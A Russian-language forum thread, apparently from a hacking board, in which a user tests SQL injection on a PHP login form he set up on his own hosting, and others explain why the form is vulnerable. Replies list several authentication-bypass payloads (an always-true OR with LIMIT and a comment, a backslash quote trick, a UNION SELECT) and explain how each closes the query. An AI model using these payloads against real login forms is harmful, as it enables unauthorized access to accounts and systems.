![]() |
читал я статью /thread43966.html
и решил попробовать 1.3 Третий случай (Авторизация) сдалал на своём хостинге форму входа http://mai1-ru.h2m.ru/yyy.php исходный код PHP код:
PHP код:
login: pass user:123 admin:12345 |
' or '1' = '1
Авторизация проходит... |
Цитата:
|
в оба.
|
Потому что, у тебя проверка
PHP код:
Вариантов тут много: login: 'or(1)limit 1-- a password: pew login: \ password: or(1)limit 1-- a login: ' union select 1-- a password: pew При втором варианте ковычка от логина закроется кавычкой от пасса, и в пасс вписывается злозапрос. Цитата:
Цитата:
|
ага, тоесть запрос у меня получается такой
SELECT `id` FROM `user` WHERE `user`= ''or(1)limit 1-- a' AND `pass`= 'pew' LIMIT 1 а тут or(1)limit 1-- a што значит ета идиница or(1) и буква --а |
Цитата:
Добавлением условия or, которое заведомо тру мы возвращаем записи из таблицы, что и требовал от нас для авторизации твой "тру-программерс" код. Для чего здесь нужен лимит я уже написал в прошлом посте, чтобы запрос не возвращал больше одной записи(опять-таки условие твоего "кода"). А "-- " коментарий, после которого должен быть пробел. А что стоит после коментария - это не важно, хоть -- a vot tut lubaya hueta |
а вот такой вопрос
SELECT `id` FROM `user` WHERE `user`= '' union select 1-- +' AND `pass`= 'pew' LIMIT 1 ' ' union select 1-- +' AND `pass`= 'pew' остаётся одна ковичка которая незакрывается, почему не возникает синтактической ошибки? |
Потому что ты комментируешь конец запроса (эту часть: +' AND `pass`= 'pew' LIMIT 1)
|
| Время: 02:28 |